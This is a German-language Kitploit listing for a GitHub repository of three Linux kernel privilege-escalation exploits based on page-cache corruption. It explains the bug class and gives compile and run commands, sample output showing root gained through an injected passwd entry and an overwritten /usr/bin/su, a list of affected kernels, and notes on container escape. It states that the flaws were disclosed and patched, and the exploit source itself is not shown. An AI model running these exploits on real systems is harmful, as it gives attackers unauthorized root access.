Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
page-cache-corruption-lpes — CVE-2026-46331 and CVE-2026-43503 | Kitploit
Tools/GitHubGitHub/rjt-gupta/page-cache-corruption-lpes
Privilege EscalationSchwachstellenanalyseExploitationCTFLernen & BildungBinary-Exploitation
GitHubrjt-gupta/page-cache-corruption-lpes

page-cache-corruption-lpes

CVE-2026-46331 and CVE-2026-43503

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
123vor 29 TagenNoch nicht geprüft

LPEs durch Page-Cache-Korruption

3 Exploits zur lokalen Privilegienerweiterung im Linux-Kernel. Dieselbe Bug-Klasse wie Dirty COW und Dirty Pipe. Root-Shell in Sekunden. Jede große Distribution betroffen.

Alle drei korrumpieren den Page-Cache des Kernels – die In-Memory-Kopie von Dateien, die Prozesse tatsächlich lesen und ausführen. Die Datei auf der Festplatte wird nie angefasst. Dateiintegritätstools sehen nichts. execve("/usr/bin/su") lädt aus dem Cache → führt deinen Shellcode aus → root.


Die Exploits

ExploitCVEMechanismusZeit bis RootZeilen
Dirty PeditCVE-2026-46331TC-pedit-COW-Lücke (u32-Wraparound)< 1 Sekunde275
skb_shiftCVE-2026-43503Verlust des Transfer-Flags bei TCP-SACK-Fragmenten~10 Sekunden500
GRO Flag LossCVE-2026-43503Verlust des Transfer-Flags bei GRO-Coalesce-Fragmenten~10 Sekunden550

Alle drei: unprivilegiert → root. Keine speziellen Berechtigungen. Nur User Namespaces.


Was ist die Bug-Klasse?

Jeder Exploit in diesem Repo folgt demselben Muster:

root@kitploit:~
1. Get page-cache pages into a kernel buffer (splice)
2. Bypass the copy-on-write defense
3. Write in-place → read-only file corrupted in memory

Was sich unterscheidet, ist WIE die Verteidigung umgangen wird und WAS den Schreibvorgang ausführt:


Die Abstammungslinie

root@kitploit:~
2016  Dirty COW         COW race via mmap + fork
2022  Dirty Pipe        Stale PIPE_BUF_FLAG_CAN_MERGE in splice
2026  Copy Fail         AF_ALG in-place AEAD on page-cache scatterlist
2026  Dirty Frag        ESP skip_cow on splice'd frags (missing flag)
2026  Fragnesia         skb_try_coalesce drops SHARED_FRAG flag
2026  Dirty Pedit  ←    TC pedit COW gap, no crypto needed
2026  skb_shift    ←    TCP SACK drops SHARED_FRAG, ESP writes
2026  GRO Flag Loss ←   GRO merge drops SHARED_FRAG, ESP writes

Betroffene Versionen

Standardkonfigurationen. Keine Härtung nötig, um verwundbar zu sein. Wenn du Linux betreibst, warst du betroffen.


Warum Dirty Pedit anders ist

skb_shift und GRO verwenden beide dieselbe Exploitationstechnik: das SKBFL_SHARED_FRAG-Flag verlieren und dann ESP-Krypto mithilfe einer vorberechneten IV-Nachschlagetabelle Byte für Byte in Page-Cache-Seiten XORen lassen.

Dirty Pedit ist etwas völlig anderes:

  • Keine Krypto. Kein XFRM, kein ESP, kein AES-GCM, keine IV-Tabellen.
  • Direktes Schreiben. TC pedit schreibt exakt die Bytes, die du über skb_store_bits angibst.
  • Unter einer Sekunde. Ein Paket = 12 geschriebene Bytes. Root auf einen Schlag.
  • Andere Umgehung der Verteidigung. Fasst SHARED_FRAG gar nicht an – bricht skb_ensure_writable durch Integer-Wraparound.

Kompilieren

root@kitploit:~
# Build all three
cd dirty_pedit && gcc -static -O2 -o exploit exploit.c && cd ..
cd skb_shift   && gcc -static -O2 -o exploit exploit.c && cd ..
cd gro         && gcc -static -O2 -o exploit exploit.c && cd ..

Jeder Exploit ist eine einzelne, in sich geschlossene C-Datei. Keine Abhängigkeiten außer libc.


Ausführen

root@kitploit:~
# Any of the three (as unprivileged user):
./exploit
# → root shell

Erfordert: Linux-Kernel im betroffenen Versionsbereich + CONFIG_USER_NS=y (Standard auf allen großen Distributionen).


Ausgabe (Dirty Pedit)

root@kitploit:~
[*] Dirty Pedit — Local Privilege Escalation
[*] uid=1000 pid=42
[*] Victim line at offset 186: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
[*] Injecting user 'a' (uid=0, no password) over victim line...
[+] User 'a' injected with uid=0!
[+] Running: su a
# id
uid=0(root) gid=0(root) groups=0(root)

Ausgabe (skb_shift / GRO)

root@kitploit:~
[*] uid=1000 euid=1000
[*] IV table pre-computed (256 entries)
[*] Writing 192 bytes to /usr/bin/su...
  [120] 0x00→0x48 ... OK
  [121] 0x00→0x31 ... OK
[*] Write complete: 192/192
[!] /usr/bin/su page cache overwritten!
# whoami
root

Wichtige Eigenschaften


Verantwortungsvolle Offenlegung

Alle Schwachstellen wurden dem Linux-Kernel-Sicherheitsteam und den Netzwerk-Maintainern verantwortungsvoll gemeldet. Die Patches wurden upstream gemerged und in stabile Zweige zurückportiert.

  • CVE-2026-46331: Behoben in v7.1-rc7, Commit 899ee91156e5
  • CVE-2026-43503: Behoben in v7.1-rc5, Commit 48f6a5356a33

Diese Exploits werden zu Bildungs- und Verteidigungszwecken veröffentlicht, nachdem Patches verfügbar waren. Page-Cache-Korruption wirkt nur im Speicher — ein Neustart oder echo 1 > /proc/sys/vm/drop_caches stellt die ursprünglichen Dateien wieder her.


Autor

Rajat Gupta — Offensive Security @ Qualcomm


Lizenz

MIT

Tool herunterladen
ExploitUmgangene VerteidigungSchreiber
Dirty Peditskb_ensure_writable (u32-Wraparound → partielle COW)skb_store_bits (direkter 4-Byte-Schreibvorgang)
skb_shiftSKBFL_SHARED_FRAG-Flag während TCP-SACK verlorenESP-AES-GCM-Entschlüsselung (1 Byte pro Paket)
GRO Flag LossSKBFL_SHARED_FRAG-Flag während GRO-Merge verlorenESP-AES-GCM-Entschlüsselung (1 Byte pro Paket)
ExploitEingeführtBehobenBetroffene Distributionen
Dirty Peditv5.18 (Mai 2022)v7.1-rc7Ubuntu, RHEL, Debian, Fedora, SUSE
skb_shiftv3.9 (2013)v7.1-rc5Jede Distribution seit 13 Jahren
GRO Flag Lossv3.9 (2013)v7.1-rc5Jede Distribution seit 13 Jahren
EigenschaftDirty Peditskb_shiftGRO
BerechtigungenKeine (userns)Keine (userns)Keine (userns)
DateizugriffO_RDONLYO_RDONLYO_RDONLY
Krypto nötigNeinJa (AES-GCM)Ja (AES-GCM)
Schreibkontrolle4 Bytes/Paket1 Byte/Paket1 Byte/Paket
ZuverlässigkeitDeterministischDeterministischProbabilistisch (Wiederholung)
K8s-ContainerausbruchNein (kein veth nötig)NeinJa (veth+GRO standard)
Angriffsflächegeneve + TCloopback + espintcpveth + ESP-in-UDP